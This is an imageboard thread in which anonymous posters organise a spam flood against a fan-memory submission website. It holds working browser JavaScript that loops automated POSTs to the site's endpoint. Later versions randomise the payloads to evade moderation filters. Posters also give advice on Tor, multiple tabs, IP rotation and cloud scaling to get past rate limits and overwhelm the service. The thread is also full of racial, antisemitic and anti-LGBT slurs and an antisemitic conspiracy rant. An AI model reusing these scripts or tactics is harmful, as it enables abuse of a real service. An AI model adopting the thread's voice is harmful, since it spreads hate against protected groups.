[–] ▶ №12339848[Quote]
>>12339841 (OP)FREE RAID MATERIAL!
JAGER GEMERALD APPROVED!
▶ №12339851[Quote]
Asgore was cucked by a skeleton and his son is a faggot
▶ №12339915[Quote]
Inb4 raped by glownigger
▶ №12339992[Quote]
ohnonnono what is this, nusois making a gemmy raid?
▶ №12340012[Quote]
>>12340000GET therfore gem
▶ №12340013[Quote]
>>12340005quads arent gets nusoi
▶ №12340051[Quote]
'UMO
▶ №12340233[Quote]
up
▶ №12340416[Quote]>>12340427>>12340451
>>12340331Did he add a filter?
▶ №12340450[Quote]
>Thoughts?
gem
▶ №12340451[Quote]>>12341252
>>12340427>>12340416>>12340331Ah, classic Toby Fox.
TOBY FOX IS A JEWISH AGENT TRAINED TO PRODUCE LGBT PROPAGANDA AND BRAINWASH ZOOMERSToby Fox wrote that iconic Megalovania song when he was only 16. He was able to make such a memorable song at young age, without any musical experiment. It's suspicious. It's likely he was trained by CIA/Illminati/Freemason/Rothschild.
He graduated from Northeastern University. Northeastern University is the home of many Democratic politicians and Xitter co-founder Biz Stone.
We all know that Undertale and Deltarune was designed to spread LGBT agenda to players and fans, as it's LGBT contents such as few major character being lesbian, some extra character being faggots, the protagonist being pronouns trannies, and the implied bullraisins like "gender dysphoria" or "muh oppression" (ex: Kris is a pronounsfag who's being controlled by player and xe's the only human being in the town and xe's le heckin depressed and emo and xe can't control xis life and blah blah blah), and don't forget the fact Toby Fox actually promoted that BLM terrorism.
Undetale Kickstarter was started in 2013 and Undertale was released in 2015. You know what else happened in this time period? Obergefell v. Hodges. That infamous case that eventually lead to legalization of gay marriage. The trial, led by Jim Obergefell, ultimately resulted in the legalization of same-sex marriage in the United States in 2015. Toby was an Episcopalian and Jim attended an Episcopal Church as well. During the Holocaust, the Episcopal Church demonstrated pro-Jewish action, beginning with the support of the General Theological Seminary (New York) and the Berkeley Divinity School (Connecticut), and many Episcopal leaders supporting efforts to rescue Jews, including support for a congressional resolution to rescue Jewish refugees from the United States.
Does it seem to you that all this is a coincidence?
▶ №12340471[Quote]
it's weird to think that indie pixelshit games from the early 2010s are the same age now that snes games were in the early 2010s
▶ №12340801[Quote]
'Up o algo
▶ №12340827[Quote]
This thread is giving me the laughs, keep going.
▶ №12341054[Quote]
vp
▶ №12341065[Quote]
Geg
▶ №12341091[Quote]
>>12340638deltarune chapter 5 secret boss
▶ №12341252[Quote]
>>12340451Possible trvth nvke
▶ №12341597[Quote]
>>12341557let people have fun or something
▶ №12341840[Quote]
>>12341557TSMT
Make it chuddy but subtly chuddy.
I assume that it's just a team of indians so make something that an ESL won't clock.
▶ №12342052[Quote]
Fnd
▶ №12343137[Quote]
>>12341557nigga just saying shit
▶ №12343535[Quote]>>12343578
What is the deltatroon equivalent of miss circle
▶ №12343767[Quote]
Where does it get displayed publicly
▶ №12343780[Quote]>>12343796
Retards, none of this will be displayed publicly. All of these submissions will be moderated and quietly removed. You're all wasting your time and making laughing stocks of yourselves.
▶ №12343796[Quote]
>>12343780Ok but funny doe
▶ №12343826[Quote]
>>12343809submitted the same kind of furfag shit that trannies are pushing award
▶ №12343847[Quote]>>12343904>>12343940>>12343989>>12344154>>12347153>>12347242>>12347256>>12347317
someone find the vulnerability in this site:
https://memories.undertale.com/, content from localStorage is rendered directly as html in the preview.
you can set localStorage in the console via localStorage.setItem
<redditalso consider POSTing directly to this endpoint:
https://ut-10th-memory-keeper.fangamer.workers.dev/submit/, it may accept raw images like 'slot
▶ №12343904[Quote]
>>12343847Someone do this it would be a gem
▶ №12343940[Quote]
>>12343847We need to submit dnb, ronnie mcnutt, 'o and coinslot through this.
▶ №12343989[Quote]
>>12343847 And if done the seeth on xitter would be astronomical
▶ №12344154[Quote]
>>12343847would it be possible to somehow attach some files directly to the text box or something
▶ №12344530[Quote]
>>12339841 (OP)my best memory is when i gooning to toriel
▶ №12345234[Quote]
bump
▶ №12347153[Quote]
>>12343847So we could run code as well?
▶ №12347242[Quote]
>>12343847>content from localStorage is rendered directly as html in the preview.holy shit this is huge.
▶ №12347256[Quote]>>12347285
>>12343847Are you sure this isn't only on the client side and the server sanitizes again
Well, this is toby fox so I wouldn't be surprised if it doesn't
▶ №12347285[Quote]
>>12347256toby still sucks complete ass at coding. i wouldn't even be surprised if it allows remote sql injection.
▶ №12347309[Quote]
>>12347302undertale 2 would add this unironically or something
▶ №12347624[Quote]>>12347669>>12347872
GO TO THE WEBSITE ON TOR AND PASTE THIS CODE IN YOUR BROWSER
(async () => {
const sendRequest = async () => {
const formData = new FormData();
formData.append("name", "hi");
formData.append("image", `1otot1ot1ot1ot1ot1ot1oto1to1oto11o11o11o11o11o1to1btp101boptoptoptoptpotp1bo1b1ptob1gpto1to11gpto1boo1gp1g1totptot1ot1ot1oto1bo1g1o11o1111p11bo11o1by1tptyb101bo1otoptpgp100000ogpotpgptoto1y1o111pto1ototot1o1totptpto1ot1000rb0tpt1o111o1111111oto1otptob1boptob1oto1otpto10rt0o00o1optot1o11o1ot11ot1oto11ot1gptotptotpto1b1otrt0001tot1o1p111t11o1otpob101t1otpg1ptyptoto1typtobopo0gp1yp11yt1o1o11tp1ot1o11101pt1oto1t1p1tp1t1opoo0pr1tot1to111111by1ot1otptoo11to1b11to1to1to1o0o0pro0rropo1111o11o11t1otp1to1tpg11to1b11b111o10rprrr0rrrbr0obo1t11111o1p11oto1t1o1b1o1t1o1otot1bopo0o0opo0opo1o11opotot11tot1otp1t1totpto1b1t1p1o11111p11o111to1b1ot11p1opg1p1ot1otpgp1o11b1t1o1o111to1o1yb1to1o11o111ot1ot1p1otp1bo111tot1o1o1p1t11o1p1t11o1op1b11t1pgp1o1b1otototo1tpobo1tpt1tot1o1p1t1o1opt1bgo1ypo1o111b11o1111ptrto11t1bo1to111p1to1o11pt1oooptot11b1oto1otptobo1ob1tooto11gp1p1oto11t1pg11o1pto01po1ot1po1b1o1o1toto1011ptotp1g1tp111op111otpgobo1oto11o1t1o1otptoptpgp1ttotp1g1po1o1ob1t1yb1o11o10oboptptopob1b1ypto1ototo1bot1p1g1b1t11o1o111bobobobyto1o11to1o1ot1ob1boptpot1o1g1b1o1opo11b1bo1otobo0o1bo1tr1101b1ob1oto1to11pgptpo1ot1t1tpo1o11b1obo0trto1po1bo1otop1otp101bo101t1o11b1opo1ot11to1oto0o0pobo1to1totp1tyb1oto1ott1opot1o11b1top1obo1bop0t0101otpo1po1pgopto1bob1011rt1t1ptoto1ot1011p1oto0r0o0ob1yb1gptypt1obo1o1ob1tobo1otop1ob1py1totobobo0boboobo1o1o1boob1otptototob1101p1tpt1o1tpo1p1obo0o0bogbo1gptpto1g1obotobobototo1to1o1ob1o1ototobo0t00oboobopgo1ob1pgpytr1otob11p1bo101bo1obotp1rto10r0p0o0101gp1bopgobotrtob101101gp1b1otob1to1otpob0obg0obo0101ototopto101pgpgpg11gpotootpotopob1bog10o0rb0obrgpobobopgopgpogpgpgp1b1otob1otopg1too1bo0100o0obo0boto1otobobot01obo1011obob1ob101bo01bo10100obgp0o0o0obobobotobobobot011gpto101ootootpotobo0ob0r0obgpgpgpgobo0obogpgobo101b1obotrtbob10otrtobobo0obo0r0bo0obo01010obo0101011ototopgpotrobobo010o00t00obg0o0trtrt0o0trgpgpgpg1to10p101obo0tobotobo0t0rbo00r0bobo0o0ob0obobrgpgp11botobybotopobo0p0obo00000t0o0o00trbobo0o0g010oby1ooboboto1010tobgobg00bo0o0r00b0obr0g0o0gbobobobot1bo0obobobobo0obobo0b0000b0000000g0p0b0obo0o0otrtopotpto0grt0otrt0o00o00o00g00g000obrg0o00o0bgbo0bo01obo010p00ob0obobgb00000br00000b00gp0gp00o0r0trgptootobo0obo000botobo00ob0o0t0rb0ogp00o00ob00t0obo0obpobotrt00o001b1b10ob00o00r00gpt0t0b00000o0r0obotrggpgob0o0ob0bototot00o0bo0bg0bob1rto000o00bo0to0pgpobobo0bo00otp1tp100obg000o0pg1tobobob000o0010pgoboboto0o0bo0bo1to1tobotpgpgb0t1b1bot1bg0ob0ob0o0obo0obobob0o0bytptptrt1tp1tob11otot1bobo0000o0obot010to10o0o00g01b1tot1tp1t1b11t1b1b101totob0o0b0o0obo0r`);
formData.append("text", "hi");
try {
const response = await fetch("
https://ut-10th-memory-keeper.fangamer.workers.dev/submit/", {
method: "POST",
mode: "cors",
headers: {
"Accept": "*/*",
"Origin": "
https://memories.undertale.com",
"Referer": "
https://memories.undertale.com"
},
body: formData
});
const result = await response.text();
console.log("✅ Sent at", new Date().toLocaleTimeString(), "| Response:", result);
} catch (err) {
console.error("❌ Error sending request:", err);
}
};
while (true) {
await sendRequest();
await new Promise(resolve => setTimeout(resolve, 1000)); // wait 1 second
}
})();
▶ №12347669[Quote]>>12347674
>>12347624what does it do
▶ №12347676[Quote]
>>12347674geg this is incredible
▶ №12347704[Quote]>>12347723
>>12347674Can you do this on a non-tor browser
▶ №12347723[Quote]
>>12347704Yes but it will reveal your IP
▶ №12347733[Quote]
>>12347725In 2015 I was playing Tekken 7, I was never a fan of troontale.
▶ №12347734[Quote]
>>12347725sentient nameroll strikes frogcacas once more
▶ №12347762[Quote]>>12347764>>12347768
>>12347753Looks like it got blocked by tors built in noscript geg
▶ №12347764[Quote]
>>12347762I just saw it geg
▶ №12347773[Quote]
>>12347768God tier security
▶ №12347778[Quote]
Also you can open multiple tabs in TOR to send from multiple IPs at once
▶ №12347779[Quote]
>>12347772Yeah I just switched the tor node and it started working again geg
▶ №12347814[Quote]
Error 429 is too many requests geg
▶ №12347816[Quote]
I think it's some automatic thing
▶ №12347820[Quote]
But 1 a second seems to get most of them through
▶ №12347843[Quote]
If you want to send more at once open more tabs since they use different IPs
▶ №12347867[Quote]
currently 'aping it with the script
▶ №12347872[Quote]>>12347878>>12347904
>>12347624some ideas for this
1. random username
2. random text body
3. randomly perturb a few pixels in the 'cado so jannies can't ctrl+f and delete it all easily
<reddit4. (optional) send massive payloads/different input formats to try to fill up the server's storage space. keep in mind that all checks of the validity of the content occurs BEFORE THE POST. if the troon that coded this website doesn't have server-side filtering they're actually fucked
▶ №12347904[Quote]>>12347929>>12347932
>>12347872Does this jeetgpt code work?
(async () => {
// Base "image" string (keep this unchanged between runs)
const baseImage = `1otot1ot1ot1ot1ot1ot1oto1to1oto11o11o11o11o11o1to1btp101boptoptoptoptpotp1bo1b1ptob1gpto1to11gpto1boo1gp1g1totptot1ot1ot1oto1bo1g1o11o1111p11bo11o1by1tptyb101bo1otoptpgp100000ogpotpgptoto1y1o111pto1ototot1o1totptpto1ot1000rb0tpt1o111o1111111oto1otptob1boptob1oto1otpto10rt0o00o1optot1o11o1ot11ot1oto11ot1gptotptotpto1b1otrt0001tot1o1p111t11o1otpob101t1otpg1ptyptoto1typtobopo0gp1yp11yt1o1o11tp1ot1o11101pt1oto1t1p1tp1t1opoo0pr1tot1to111111by1ot1otptoo11to1b11to1to1to1o0o0pro0rropo1111o11o11t1otp1to1tpg11to1b11b111o10rprrr0rrrbr0obo1t11111o1p11oto1t1o1b1o1t1o1otot1bopo0o0opo0opo1o11opotot11tot1otp1t1totpto1b1t1p1o11111p11o111to1b1ot11p1opg1p1ot1otpgp1o11b1t1o1o111to1o1yb1to1o11o111ot1ot1p1otp1bo111tot1o1o1p1t11o1p1t11o1op1b11t1pgp1o1b1otototo1tpobo1tpt1tot1o1p1t1o1opt1bgo1ypo1o111b11o1111ptrto11t1bo1to111p1to1o11pt1oooptot11b1oto1otptobo1ob1tooto11gp1p1oto11t1pg11o1pto01po1ot1po1b1o1o1toto1011ptotp1g1tp111op111otpgobo1oto11o1t1o1otptoptpgp1ttotp1g1po1o1ob1t1yb1o11o10oboptptopob1b1ypto1ototo1bot1p1g1b1t11o1o111bobobobyto1o11to1o1ot1ob1boptpot1o1g1b1o1opo11b1bo1otobo0o1bo1tr1101b1ob1oto1to11pgptpo1ot1t1tpo1o11b1obo0trto1po1bo1otop1otp101bo101t1o11b1opo1ot11to1oto0o0pobo1to1totp1tyb1oto1ott1opot1o11b1top1obo1bop0t0101otpo1po1pgopto1bob1011rt1t1ptoto1ot1011p1oto0r0o0ob1yb1gptypt1obo1o1ob1tobo1otop1ob1py1totobobo0boboobo1o1o1boob1otptototob1101p1tpt1o1tpo1p1obo0o0bogbo1gptpto1g1obotobobototo1to1o1ob1o1ototobo0t00oboobopgo1ob1pgpytr1otob11p1bo101bo1obotp1rto10r0p0o0101gp1bopgobotrtob101101gp1b1otob1to1otpob0obg0obo0101ototopto101pgpgpg11gpotootpotopob1bog10o0rb0obrgpobobopgopgpogpgpgp1b1otob1otopg1too1bo0100o0obo0boto1otobobot01obo1011obob1ob101bo01bo10100obgp0o0o0obobobotobobobot011gpto101ootootpotobo0ob0r0obgpgpgpgobo0obogpgobo101b1obotrtbob10otrtobobo0obo0r0bo0obo01010obo0101011ototopgpotrobobo010o00t00obg0o0trtrt0o0trgpgpgpg1to10p101obo0tobotobo0t0rbo00r0bobo0o0ob0obobrgpgp11botobybotopobo0p0obo00000t0o0o00trbobo0o0g010oby1ooboboto1010tobgobg00bo0o0r00b0obr0g0o0gbobobobot1bo0obobobobo0obobo0b0000b0000000g0p0b0obo0o0otrtopotpto0grt0otrt0o00o00o00g00g000obrg0o00o0bgbo0bo01obo010p00ob0obobgb00000br00000b00gp0gp00o0r0trgptootobo0obo000botobo00ob0o0t0rb0ogp00o00ob00t0obo0obpobotrt00o001b1b10ob00o00r00gpt0t0b00000o0r0obotrggpgob0o0ob0bototot00o0bo0bg0bob1rto000o00bo0to0pgpobobo0bo00otp1tp100obg000o0pg1tobobob000o0010pgoboboto0o0bo0bo1to1tobotpgpgb0t1b1bot1bg0ob0ob0o0obo0obobob0o0bytptptrt1tp1tob11otot1bobo0000o0obot010to10o0o00g01b1tot1tp1t1b11t1b1b101totob0o0b0o0obo0r`;
// Helper: random string of length N
const randomString = (length) => {
const chars = 'abcdefghijklmnopqrstuvwxyz0123456789';
return Array.from({ length }, () => chars[Math.floor(Math.random() * chars.length)]).join('');
};
// Helper: mutate N characters in a string
const mutateString = (str, mutations = 2 + Math.floor(Math.random() * 2)) => {
let arr = str.split('');
for (let i = 0; i < mutations; i++) {
const index = Math.floor(Math.random() * arr.length);
const chars = 'abcdefghijklmnopqrstuvwxyz0123456789';
arr[index] = chars[Math.floor(Math.random() * chars.length)];
}
return arr.join('');
};
const sendRequest = async () => {
const formData = new FormData();
const name = randomString(10);
const text = randomString(10);
const image = mutateString(baseImage);
formData.append("name", name);
formData.append("image", image);
formData.append("text", text);
try {
const response = await fetch("
https://ut-10th-memory-keeper.fangamer.workers.dev/submit/", {
method: "POST",
mode: "cors",
headers: {
"Accept": "*/*",
"Origin": "
https://memories.undertale.com",
"Referer": "
https://memories.undertale.com"
},
body: formData
});
const result = await response.text();
console.log(`✅ [${new Date().toLocaleTimeString()}] Sent as '${name}' | Response:`, result);
} catch (err) {
console.error("❌ Error sending request:", err);
}
};
while (true) {
await sendRequest();
await new Promise(r => setTimeout(r, 1000));
}
})();
▶ №12347919[Quote]
i have it running on 20 tabs at once on another computer.
▶ №12347929[Quote]>>12347938
>>12347904one issue, make sure the mutate string pulls from these characters just to be safe:
colors = ['0', 'r', 't', 'o', 'b', '1', 'p', 'g', 'y']
▶ №12347932[Quote]
>>12347904Something's broken, I forgot that the image string can only have certain characters
▶ №12347955[Quote]>>12347956>>12348104
(async () => {
// Base "image" string (keep this unchanged between runs)
const baseImage = `1otot1ot1ot1ot1ot1ot1oto1to1oto11o11o11o11o11o1to1btp101boptoptoptoptpotp1bo1b1ptob1gpto1to11gpto1boo1gp1g1totptot1ot1ot1oto1bo1g1o11o1111p11bo11o1by1tptyb101bo1otoptpgp100000ogpotpgptoto1y1o111pto1ototot1o1totptpto1ot1000rb0tpt1o111o1111111oto1otptob1boptob1oto1otpto10rt0o00o1optot1o11o1ot11ot1oto11ot1gptotptotpto1b1otrt0001tot1o1p111t11o1otpob101t1otpg1ptyptoto1typtobopo0gp1yp11yt1o1o11tp1ot1o11101pt1oto1t1p1tp1t1opoo0pr1tot1to111111by1ot1otptoo11to1b11to1to1to1o0o0pro0rropo1111o11o11t1otp1to1tpg11to1b11b111o10rprrr0rrrbr0obo1t11111o1p11oto1t1o1b1o1t1o1otot1bopo0o0opo0opo1o11opotot11tot1otp1t1totpto1b1t1p1o11111p11o111to1b1ot11p1opg1p1ot1otpgp1o11b1t1o1o111to1o1yb1to1o11o111ot1ot1p1otp1bo111tot1o1o1p1t11o1p1t11o1op1b11t1pgp1o1b1otototo1tpobo1tpt1tot1o1p1t1o1opt1bgo1ypo1o111b11o1111ptrto11t1bo1to111p1to1o11pt1oooptot11b1oto1otptobo1ob1tooto11gp1p1oto11t1pg11o1pto01po1ot1po1b1o1o1toto1011ptotp1g1tp111op111otpgobo1oto11o1t1o1otptoptpgp1ttotp1g1po1o1ob1t1yb1o11o10oboptptopob1b1ypto1ototo1bot1p1g1b1t11o1o111bobobobyto1o11to1o1ot1ob1boptpot1o1g1b1o1opo11b1bo1otobo0o1bo1tr1101b1ob1oto1to11pgptpo1ot1t1tpo1o11b1obo0trto1po1bo1otop1otp101bo101t1o11b1opo1ot11to1oto0o0pobo1to1totp1tyb1oto1ott1opot1o11b1top1obo1bop0t0101otpo1po1pgopto1bob1011rt1t1ptoto1ot1011p1oto0r0o0ob1yb1gptypt1obo1o1ob1tobo1otop1ob1py1totobobo0boboobo1o1o1boob1otptototob1101p1tpt1o1tpo1p1obo0o0bogbo1gptpto1g1obotobobototo1to1o1ob1o1ototobo0t00oboobopgo1ob1pgpytr1otob11p1bo101bo1obotp1rto10r0p0o0101gp1bopgobotrtob101101gp1b1otob1to1otpob0obg0obo0101ototopto101pgpgpg11gpotootpotopob1bog10o0rb0obrgpobobopgopgpogpgpgp1b1otob1otopg1too1bo0100o0obo0boto1otobobot01obo1011obob1ob101bo01bo10100obgp0o0o0obobobotobobobot011gpto101ootootpotobo0ob0r0obgpgpgpgobo0obogpgobo101b1obotrtbob10otrtobobo0obo0r0bo0obo01010obo0101011ototopgpotrobobo010o00t00obg0o0trtrt0o0trgpgpgpg1to10p101obo0tobotobo0t0rbo00r0bobo0o0ob0obobrgpgp11botobybotopobo0p0obo00000t0o0o00trbobo0o0g010oby1ooboboto1010tobgobg00bo0o0r00b0obr0g0o0gbobobobot1bo0obobobobo0obobo0b0000b0000000g0p0b0obo0o0otrtopotpto0grt0otrt0o00o00o00g00g000obrg0o00o0bgbo0bo01obo010p00ob0obobgb00000br00000b00gp0gp00o0r0trgptootobo0obo000botobo00ob0o0t0rb0ogp00o00ob00t0obo0obpobotrt00o001b1b10ob00o00r00gpt0t0b00000o0r0obotrggpgob0o0ob0bototot00o0bo0bg0bob1rto000o00bo0to0pgpobobo0bo00otp1tp100obg000o0pg1tobobob000o0010pgoboboto0o0bo0bo1to1tobotpgpgb0t1b1bot1bg0ob0ob0o0obo0obobob0o0bytptptrt1tp1tob11otot1bobo0000o0obot010to10o0o00g01b1tot1tp1t1b11t1b1b101totob0o0b0o0obo0r`;
// Helper: random string of length N
const randomString = (length) => {
const chars = 'abcdefghijklmnopqrstuvwxyz0123456789';
return Array.from({ length }, () => chars[Math.floor(Math.random() * chars.length)]).join('');
};
// Helper: mutate N characters in a string
const mutateString = (str, mutations = 2 + Math.floor(Math.random() * 2)) => {
let arr = str.split('');
for (let i = 0; i < mutations; i++) {
const index = Math.floor(Math.random() * arr.length);
const chars = '0rtob1pgy';
arr[index] = chars[Math.floor(Math.random() * chars.length)];
}
return arr.join('');
};
const sendRequest = async () => {
const formData = new FormData();
const name = randomString(10);
const text = randomString(10);
const image = mutateString(baseImage);
formData.append("name", name);
formData.append("image", image);
formData.append("text", text);
try {
const response = await fetch("
https://ut-10th-memory-keeper.fangamer.workers.dev/submit/", {
method: "POST",
mode: "cors",
headers: {
"Accept": "*/*",
"Origin": "
https://memories.undertale.com",
"Referer": "
https://memories.undertale.com"
},
body: formData
});
const result = await response.text();
console.log(`✅ [${new Date().toLocaleTimeString()}] Sent as '${name}' | Response:`, result);
} catch (err) {
console.error("❌ Error sending request:", err);
}
};
while (true) {
await sendRequest();
await new Promise(r => setTimeout(r, 1000));
}
})();
▶ №12347956[Quote]
>>12347955GEEEEEG IT WORKS
▶ №12348002[Quote]
i was right then, toby fox still sucks ass at coding
▶ №12348017[Quote]
have enough tabs with this shit running for a day and they'l either have to can it all and start from scratch or shut it down.
▶ №12348038[Quote]>>12348062
I don't think toby fox would be able to code a filter to detect if something's gibberish
He might do similarity to the image in question doe, so should we mutate it more?
▶ №12348048[Quote]
this is transfering about 1.10kb per POST.
▶ №12348062[Quote]>>12348078>>12348093
>>12348038>I don't think toby fox would be able to code a filter to detect if something's gibberishhe'd have to use a dictionary and i doubt he even know that exists
▶ №12348069[Quote]>>12348295>>12348302
NIGEEEEEEEEEEER NIGEGG NIGGERRRRRRRRRRRRRRR
▶ №12348078[Quote]
>>12348062He uses shitty game engines to make his games geeeeeeeeg
▶ №12348089[Quote]
If this retard checked if 2 messages came from the same ip it would've already made it much slower
▶ №12348093[Quote]>>12348111
>>12348062also i'm sure the use of a dictionary algorith would also shave off a large majority of tranny comments too since troons love speaking like retards and elongating words.
▶ №12348104[Quote]>>12348149
>>12348097You can add that to the code and send that as well if you want geg
>>12347955 ▶ №12348111[Quote]>>12348190
>>12348093The easiest way I see for him to do it is to check similarity of the images since it only mutates 2 characters
▶ №12348165[Quote]>>12348175>>12348178>>12348218
i did the math, 10 of these scripts running at once will fill up 1GB of space every 1.1 days
▶ №12348167[Quote]>>12348168
If I had to guess I'd say that he doesn't even store the IPs you sent it from so he wouldn't be able to even filter them by IP
▶ №12348168[Quote]
>>12348167you send it from*
▶ №12348175[Quote]>>12348210>>12348225
>>12348165try and see if you can send larger payloads or does the server reject them
▶ №12348176[Quote]
if say 6 teens run this script on 10 tabs for an entire day we could severely rape whatever shoddy infrastructure this nigger is using.
▶ №12348178[Quote]>>12348189
>>12348165So if we get 10 people running it on 10 tabs each we can do it in just under 3hrs?
▶ №12348188[Quote]>>12348200>>12348204
I'm starting to get a lot more errors though, xis server might be struggling geeeeeeg
▶ №12348189[Quote]
>>12348178effectively yes.
▶ №12348190[Quote]
>>12348111if he found your script it would be really easy, otherwise it's not that simple and I doubt the troon that coded such a shit website could do it
▶ №12348200[Quote]>>12348205
>>12348188what kind of errors?
▶ №12348204[Quote]
>>12348188same, i don't think xe's using a particularly big server, if enough 'teens run it right now we could have the website completely raped by about 4 hours from now.
▶ №12348205[Quote]>>12348213
>>12348200429 too many requests
▶ №12348210[Quote]
>>12348175i think it'd be best not to put all our eggs in one basket.
▶ №12348213[Quote]
>>12348205hah server's taking some heat I guess
▶ №12348218[Quote]>>12348232>>12348237
>>12348165This isn’t hosted on some desktop PC. They almost certainly are using some PaaS service that would auto scale storage automatically. Filling up the drive isn’t a good target. Forcing hours of manually deleting Cados is a good target, but would work better if no one field was easily filtered (IP, name, text body, time). Put that in a docker container quick and fire it off to fly.io or something, scale it out to 20 instances and shut them down for a new IP every 15 minutes. Or just run it locally with docker-compose scale out to 100 and change vpn every so often
▶ №12348225[Quote]
>>12348175It rejected one that had a single character wrong, I don't think it will work
▶ №12348232[Quote]
>>12348218We are using a bunch of different IPs through TOR doe, but your idea is more powerful
▶ №12348237[Quote]>>12348256>>12348264
>>12348218>This isn’t hosted on some desktop PCconsidering it's toby fox i wouldn't be so quick to assume that, has anyone pinged the server yet?
▶ №12348247[Quote]
Also should we make the image more random? Large strings of text are unchanged, it only switches 2 characters
▶ №12348250[Quote]
>>12348241GEEEEG or something
▶ №12348262[Quote]
>>12348256But it has like 0 protection geeeeeeeg
▶ №12348264[Quote]
>>12348237nevermind, i pinged it and it's hosted on a datacenter. Forget about filling up the server space, we just need to fill it with crap.
▶ №12348274[Quote]>>12348283
>>12348256Isn't enabling cloudflare protection like 1 setting? And he didn't put any?
▶ №12348283[Quote]
>>12348274toby fox is a retard nigga. If he wasn't we wouldn't be raping the site right now. or something
▶ №12348289[Quote]>>12348302
why is there a minion at the top of the catty
▶ №12348333[Quote]>>12348339>>12348365
Try using this instead, it should randomize 10% of the image and make it way harder to detect.
(async () => {
// Base "image" string (original)
const baseImage = `1otot1ot1ot1ot1ot1ot1oto1to1oto11o11o11o11o11o1to1btp101boptoptoptoptpotp1bo1b1ptob1gpto1to11gpto1boo1gp1g1totptot1ot1ot1oto1bo1g1o11o1111p11bo11o1by1tptyb101bo1otoptpgp100000ogpotpgptoto1y1o111pto1ototot1o1totptpto1ot1000rb0tpt1o111o1111111oto1otptob1boptob1oto1otpto10rt0o00o1optot1o11o1ot11ot1oto11ot1gptotptotpto1b1otrt0001tot1o1p111t11o1otpob101t1otpg1ptyptoto1typtobopo0gp1yp11yt1o1o11tp1ot1o11101pt1oto1t1p1tp1t1opoo0pr1tot1to111111by1ot1otptoo11to1b11to1to1to1o0o0pro0rropo1111o11o11t1otp1to1tpg11to1b11b111o10rprrr0rrrbr0obo1t11111o1p11oto1t1o1b1o1t1o1otot1bopo0o0opo0opo1o11opotot11tot1otp1t1totpto1b1t1p1o11111p11o111to1b1ot11p1opg1p1ot1otpgp1o11b1t1o1o111to1o1yb1to1o11o111ot1ot1p1otp1bo111tot1o1o1p1t11o1p1t11o1op1b11t1pgp1o1b1otototo1tpobo1tpt1tot1o1p1t1o1opt1bgo1ypo1o111b11o1111ptrto11t1bo1to111p1to1o11pt1oooptot11b1oto1otptobo1ob1tooto11gp1p1oto11t1pg11o1pto01po1ot1po1b1o1o1toto1011ptotp1g1tp111op111otpgobo1oto11o1t1o1otptoptpgp1ttotp1g1po1o1ob1t1yb1o11o10oboptptopob1b1ypto1ototo1bot1p1g1b1t11o1o111bobobobyto1o11to1o1ot1ob1boptpot1o1g1b1o1opo11b1bo1otobo0o1bo1tr1101b1ob1oto1to11pgptpo1ot1t1tpo1o11b1obo0trto1po1bo1otop1otp101bo101t1o11b1opo1ot11to1oto0o0pobo1to1totp1tyb1oto1ott1opot1o11b1top1obo1bop0t0101otpo1po1pgopto1bob1011rt1t1ptoto1ot1011p1oto0r0o0ob1yb1gptypt1obo1o1ob1tobo1otop1ob1py1totobobo0boboobo1o1o1boob1otptototob1101p1tpt1o1tpo1p1obo0o0bogbo1gptpto1g1obotobobototo1to1o1ob1o1ototobo0t00oboobopgo1ob1pgpytr1otob11p1bo101bo1obotp1rto10r0p0o0101gp1bopgobotrtob101101gp1b1otob1to1otpob0obg0obo0101ototopto101pgpgpg11gpotootpotopob1bog10o0rb0obrgpobobopgopgpogpgpgp1b1otob1otopg1too1bo0100o0obo0boto1otobobot01obo1011obob1ob101bo01bo10100obgp0o0o0obobobotobobobot011gpto101ootootpotobo0ob0r0obgpgpgpgobo0obogpgobo101b1obotrtbob10otrtobobo0obo0r0bo0obo01010obo0101011ototopgpotrobobo010o00t00obg0o0trtrt0o0trgpgpgpg1to10p101obo0tobotobo0t0rbo00r0bobo0o0ob0obobrgpgp11botobybotopobo0p0obo00000t0o0o00trbobo0o0g010oby1ooboboto1010tobgobg00bo0o0r00b0obr0g0o0gbobobobot1bo0obobobobo0obobo0b0000b0000000g0p0b0obo0o0otrtopotpto0grt0otrt0o00o00o00g00g000obrg0o00o0bgbo0bo01obo010p00ob0obobgb00000br00000b00gp0gp00o0r0trgptootobo0obo000botobo00ob0o0t0rb0ogp00o00ob00t0obo0obpobotrt00o001b1b10ob00o00r00gpt0t0b00000o0r0obotrggpgob0o0ob0bototot00o0bo0bg0bob1rto000o00bo0to0pgpobobo0bo00otp1tp100obg000o0pg1tobobob000o0010pgoboboto0o0bo0bo1to1tobotpgpgb0t1b1bot1bg0ob0ob0o0obo0obobob0o0bytptptrt1tp1tob11otot1bobo0000o0obot010to10o0o00g01b1tot1tp1t1b11t1b1b101totob0o0b0o0obo0r`;
const randomString = (length) => {
const chars = 'abcdefghijklmnopqrstuvwxyz0123456789';
return Array.from({ length }, () => chars[Math.floor(Math.random() * chars.length)]).join('');
};
const mutateString = (str, mutations = 250) => {
let arr = str.split('');
const chars = '0rtob1pgy';
const usedIndices = new Set();
while (usedIndices.size < mutations) {
const i = Math.floor(Math.random() * arr.length);
if (!usedIndices.has(i)) {
arr[i] = chars[Math.floor(Math.random() * chars.length)];
usedIndices.add(i);
}
}
return arr.join('');
};
const sendRequest = async () => {
const formData = new FormData();
const name = randomString(10);
const text = randomString(10);
const image = mutateString(baseImage);
formData.append("name", name);
formData.append("image", image);
formData.append("text", text);
try {
const response = await fetch("
https://ut-10th-memory-keeper.fangamer.workers.dev/submit/", {
method: "POST",
mode: "cors",
headers: {
"Accept": "*/*",
"Origin": "
https://memories.undertale.com",
"Referer": "
https://memories.undertale.com"
},
body: formData
});
const result = await response.text();
console.log(`✅ [${new Date().toLocaleTimeString()}] Sent '${name}' | Response:`, result);
} catch (err) {
console.error("❌ Error sending request:", err);
}
};
while (true) {
await sendRequest();
await new Promise(resolve => setTimeout(resolve, 1000));
}
})(); or something
▶ №12348339[Quote]
>>12348333To filter by a segment of it I mean
▶ №12348340[Quote]>>12348387
alright, now that we know the important thing to measure is individual posts instead of their size. 10 scripts running at once would create 864000 posts in a day. That's way more than this site will organically get in it's entire lifetime.
so if say 10 teens run 10 scripts for a day that's close to 9 million posts a day
▶ №12348365[Quote]>>12348372
>>12348333if you want to make it even more sophisticated randomize 5-10% of the image and don't hardcode the username and text length at 10 (randomize that too to 6-12 characters for the name and 12-24 characters for the message)
▶ №12348387[Quote]>>12348401
>>12348340How many 'teens will be needed to make it
(((6 million)))?
▶ №12348399[Quote]>>12348407
(async () => {
// Base "image" string (original)
